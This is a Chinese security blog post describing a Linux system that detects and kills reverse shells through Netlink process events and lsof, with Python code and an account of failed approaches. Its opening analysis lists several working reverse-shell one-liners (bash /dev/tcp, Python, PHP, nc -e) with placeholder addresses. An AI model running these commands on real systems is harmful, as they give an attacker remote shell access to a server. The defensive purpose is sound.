自动化反弹Shell防御技术 – 作者:zhanghaoyil

*本文作者:zhanghaoyil,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

前言

当命令注入点已经到手,Webshell已经就绪,nc已经监听起来了,冒新鲜热气儿的Shell唾手可得的那种狂喜,大家还记得吗?反弹Shell一般是外网渗透的最后一步,也是内网渗透的第一步。反弹Shell对服务器安全乃至内网安全的危害不必多说。

虽然本diao主要是玩Web安全的,可主机安全监控也是要做起来的,谁让咱是一个人的安全部呢?最近笔者潜心搞了一个反弹Shell攻击自动发现和阻断系统,本着技术共享的理念,当然也是为了让各位大神看看有没有绕过的可能,把这个技术分享出来,大家共勉。

项目GitHub: Seesaw

0x1 反弹Shell解析

未知攻,焉知防?我们先来分析一下反弹Shell这个不新的渗透技术,看看有什么入手点。反弹Shell顾名思义,有两个关键词——反弹和Shell。

反弹:利用命令执行/代码执行/Webshell/Redis未授权访问写入crontab等等漏洞,使目标服务器发出主动连接请求,从而绕过防火墙的入站访问控制规则。

Shell:使服务器Shell进程stdin/stdout/stderr重定向到攻击端。

常见的反弹Shell姿势有(详见文章):

bash -i >& /dev/tcp/ip/port 0>&1

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

php -r 'exec("bash -i >& /dev/tcp/ip/port 0>&1");'

php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'

nc -e /bin/bash ip port

通过仔细观察,我们可以发现这些姿势无一例外使用了重定向,这也是识别反弹Shell的突破口,且听笔者细细道来。

我们知道Linux中一切皆文件,正常情况下打开Bash进程时,Bash进程的stdin、stdout、stderr会定向到终端设备文件(例如/dev/pts/0),如下示意图:

定向到终端设备文件

此时Bash打开的文件描述符为:

Bash打开的文件描述符

可以看到bash进程已经打开了对应的字符设备文件描述符,用于将stdin(0u)/stdout(1u)/stderr(2u)等定向到字符设备。

当出现反弹Shell时,例如最流行的姿势bash -i >& /dev/tcp/ip/port 0>&1,我们来解析一下这条命令的意思。

bash -i:启动交互式bash进程

& /dev/tcp/ip/port:将stdout/stderr重定向到与ip:port的tcp套接字中

0>&1:将stdin重定向到stdout中(此时stdout是重定向到套接字的,也就是说stdin也将从套接字中读取)

综上,这条命令是为了控制Bash进程,并获得进程的标准输出和错误输出,采用重定向技术将stdin/stdout/stderr重定向到了套接字设备中,此时输入输出的结构发生了变化,如下示意图:

输入输出的结构发生了变化

通过lsof命令可以看到此时的文件描述符打开情况:

文件描述符打开情况

可以发现stdin(0u)/stdout(1u)/stderr(2u)全都重定向到了TCP套接字中,而且此时进程所属的用户也变成了apache(运行Web服务的用户),当前路径就是Webshell所在的目录。

先知社区有不错的反弹Shell重定向分析:Linux反弹shell(一)文件描述符与重定向Linux 反弹shell(二)反弹shell的本质。本文借鉴学习了这些文章内容,也正是通过对文章内容的学习启发了以上我对反弹Shell的特征提取思路,比心。

0x2 总体思路

综合上述分析,反弹Shell的识别思路便浮出水面:

及时发现Bash进程启动事件。

检查Bash进程是否打开了终端设备,是否有主动对外连接。

0x3 失败尝试

思路是有了,实现时却发现困难重重,第一个深坑,就是如何在第一时间捕捉到Shell进程的启动。为什么要第一时间呢?如果给了黑客短暂的操作窗口,就可能被植入更深层的木马/rootkit,甚至提权后直接把咱的监控程序干掉,这是绝对不能容忍的。

在这个深坑里,笔者扑腾了好几回,下面介绍在坑中的各种尝试,以及最终的成功方法。为啥失败的经验还要说呢?其实这些思路本身不坏,只是不太适合我们的项目目标,顺便介绍给大家共勉。

Round 1 Sysloghistory of BASH

既然要发现Shell进程,第一个思路是从Bash本身入手,如果Bash执行命令,让Bash进程自己告诉我。编译Bash开启命令history syslog功能,从而获取bash命令、bash进程pid、uid、pwd之类有用的信息,正好之前做异常命令识别时有过这个经验,当时也借鉴了一些文章:安全运维之如何将Linux历史命令记录发往远程Rsyslog服务器

说干就干,下载bash源码:https://ftp.gnu.org/gnu/bash/

a. 打开config-top.h 116行注释,开启bash syslog history功能:

开启bash syslog history功能

b. 在bashhist.c 771行和776行自定义需要的syslog内容和格式,比如我最爱的JSON,但由于命令内容容易出现引号、转义符等导致JSON解析不成功,单独放在一列:

JSON

c. 修改rsyslog配置/etc/rsyslog.conf,用于本地保存或者发送至远程日志服务器做分析,并重启rsyslog服务(service rsyslog restart):

修改rsyslog配置

至此,所有调用Bash执行的命令都被我们记录下来了:

调用Bash执行的命令

是不是感觉胜利在望了?笔者当时也很兴奋。可是在测试中发现如果反弹命令前面带“sh -c”,就不会被记录。这是不能容忍的缺陷,可是为啥记录不到,找不到任何头绪。沮丧的同时笔者深入思考,这个方法是不适合用于监控Shell进程启动的,实际执行命令时再检查就太晚了。

Round 2 proc文件系统

此路不通不要气馁,再接再厉。我们知道Linux系统有一个proc伪文件系统,记录着当前内核运行状态等信息,还有以进程id为名的一堆目录,里面是与该进程相关的运行信息。能不能从proc文件系统下手,实时监控Shel进程呢?

第一反应是用inotify监控/proc目录创建目录的事件,一旦创建新目录就说明启动了新进程,再进行相应的检查。用pyinotify库写了一个监控程序:

class BashHandler(pyinotify.ProcessEvent):
    def process_IN_CREATE(self, event):
        print(event.path, event.name, event.dir, event.mask, event.maskname, event.pathname, event.wd)
if __name__ == '__main__':
    wm = pyinotify.WatchManager()
    mask = pyinotify.IN_CREATE
    notifier = pyinotify.Notifier(wm, BashHandler())
    wm.add_watch('/proc', mask, rec=False)
    while True:
        try:
            notifier.process_events()
            if notifier.check_events():
                print('detached')
                notifier.read_events()
        except KeyboardInterrupt:
            notifier.stop()
            break

此时尴尬的事情出现了,inotify竟然捕捉不到任何/proc有关的读写事件!读写事件仔细研究inotify的实现原理才知道,inotify监视着文件inode,而proc伪文件系统只是内存的映射没有inode,自然不能通过inotify监控到。

Round 3 bash打开事件

此时我把目光又转回到bash本身。我们知道Bash进程启动也就是会打开/bin/bash这个可执行文件,能不能用inotify监控/bin/bash的打开事件呢?

inotifywait -m /bin/bash -e open

实践证明,这回inotify没有让我们失望,每次bash打开都被诚实地捕捉到了:

每次bash打开

可是inotify太诚实了,甚至有点缺心眼,不会返回给我们打开文件的进程是谁。

此时更尴尬的事情出现了,当我们的程序捕捉到inotify事件从而对bash进程进行检查时,/bin/bash又会被打开!这就恐怖了,程序会进入到死循环里,出现打开事件,检查进程,结果自己导致了新的打开事件。物理学上这叫“自激”,KTV里这叫“啸叫”。/bin/bash又会被打开

0x4 成功

Round 4 Netlink Socket

笔者越挫越勇,进入新一轮的研究。发现Linux有一个很好的IPC机制叫Netlink套接字,用于在内核与用户进程之间传递消息,其中就包括了进程事件信息!

Netlink使用标准的socket api,我们只需要创建对应类型的netlink socket并进行监听即可。参考:Netlink通信机制

正好在GitHub上有一个基于netlink的python项目(https://github.com/dbrandt/proc_events),自动创建进程事件netlink socket并监听,返回一个yield生成器对象:

返回一个yield生成器对象

这个好极了,返回了很多有用的信息。我们只需要监听PROC_EVENT_EXEC事件,就可以获取新创建进程的tgid(也就是lsof要用到的PID)用于检查进程是否为反弹Shell。当然这个时候也需要采取必要的措施防止“自激”,我在代码使用了排除法,不检查lsof进程自身的pid。而之前没法防止自激,是因为inotify不能返回读写进程的pid。

利用Netlink套接字,我成功地实时捕捉到了Bash进程启动事件。后面的事情要顺利得多,只要使用lsof命令获取进程打开的文件描述符,应用上面所述的识别逻辑即可,详见代码(github项目agent/seesaw.py):

from proc_events.pec import pec_loop
import subprocess
import shlex
import traceback
import re
import os

white_list = ['192.168.204.5']

def check_for_reversed_shell(lsof):
    '''
    if the process was bash which had got remote socket and not got tty, then it must be a reversed shell.
    :param lsof:
    :return: positive: bool
             peer: str remote socket
    '''
    fds = [x.strip() for x in lsof.split('\n') if x]
    is_bash = has_socket = has_tty = False
    peer = pwd = None
    for fd in fds:
        detail = fd.split()
        fd = detail[3]
        t = detail[4]
        if t == 'CHR' and re.findall('(tty|pts|ptmx)', detail[-1]):
            has_tty = True
        elif 'IP' in t and detail[-1] == '(ESTABLISHED)':
            has_socket = True
            peer = detail[-2].split('->')[1]
        elif 'txt' in fd and re.findall('bash', detail[-1]):
            is_bash = True
        elif 'cwd' in fd:
            pwd = detail[-1]
    if peer:
        for ip in white_list:
            if peer.startswith(ip+':'):
                return False, None, None
    return (is_bash and has_socket and not has_tty), peer, pwd

def deal(pid):
    # simple and efficient kill
    os.system('kill -9 %s' % (pid,))

if __name__ == "__main__":
    self_pids = []
    for e in pec_loop():
        if e['what'] == 'PROC_EVENT_EXEC':
            try:
                #exclude lsof processes
                if e['process_tgid'] in self_pids:
                    self_pids.remove(e['process_tgid'])
                    continue
                else:
                    p = subprocess.Popen(shlex.split('lsof -p %s -Pn' % (e['process_tgid'])), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                    # prevent self-excitation
                    self_pids.append(int(p.pid))
                    out, err = p.communicate()
                    if out:
                        try:
                            positive, peer, pwd = check_for_reversed_shell(out)
                            if positive:
                                deal(e['process_tgid'])
                                print('######\n### Reversed Shell Detached ###\n'
                                      '### pid:%s ###\n'
                                      '### peer:%s ###\n'
                                      '### webshell directory: %s ###\n'
                                      '### Killed immediately. ###\n######' % (e['process_tgid'], peer, pwd))
                        except Exception as ex:
                            traceback.print_exc(ex)
            except Exception as ex:
                traceback.print_exc(ex)

0x5 演示视频

录了一个Demo视频,很小不到6M,流量党可放心观看。 Seesaw Demo

0x6 总结

自己对思考了一下,这个方法优缺点总结如下:

优点:

快速响应:由于Netlink通信机制占用系统资源很少,对于Shell进程启动事件的响应基本无延时,后续主动检测确认为反弹Shell后直接Kill。

绕过较难:由于一般反弹Shell的姿势都是调用bash且通过重定向获取bash的标准输入输出,因此没有前置经验的情况下基本都会被防御住。

信息全面:发现反弹Shell后,收集到Shell相关的信息包括PID、SID(可用于判断究竟是哪个进程组出现了漏洞)、当前路径(方便查找Webshell)、系统用户等,可以再深入挖掘这个技术的应用场景,也可以统一汇总到SOC等分析平台进行联动。

缺点:

绕过风险:仅能通过进程执行文件名判断是否为Shell进程,上传可执行文件、拷贝Bash文件到其他路径等方法会绕过这个方法。严格限制上传文件目录的执行权限、Bash文件权限可以有效限制这个风险。

检测盲区:无法检测到直接调用Webshell执行命令的事件,因此低权限无交互的命令可以通过Webshell执行到。

本文所述反弹Shell识别方法,并不完美,把自己的思路分享出来,算是抛转引玉吧,欢迎大家讨论。

*本文作者:zhanghaoyil,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

来源:freebuf.com 2018-11-01 10:00:11 by: zhanghaoyil

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论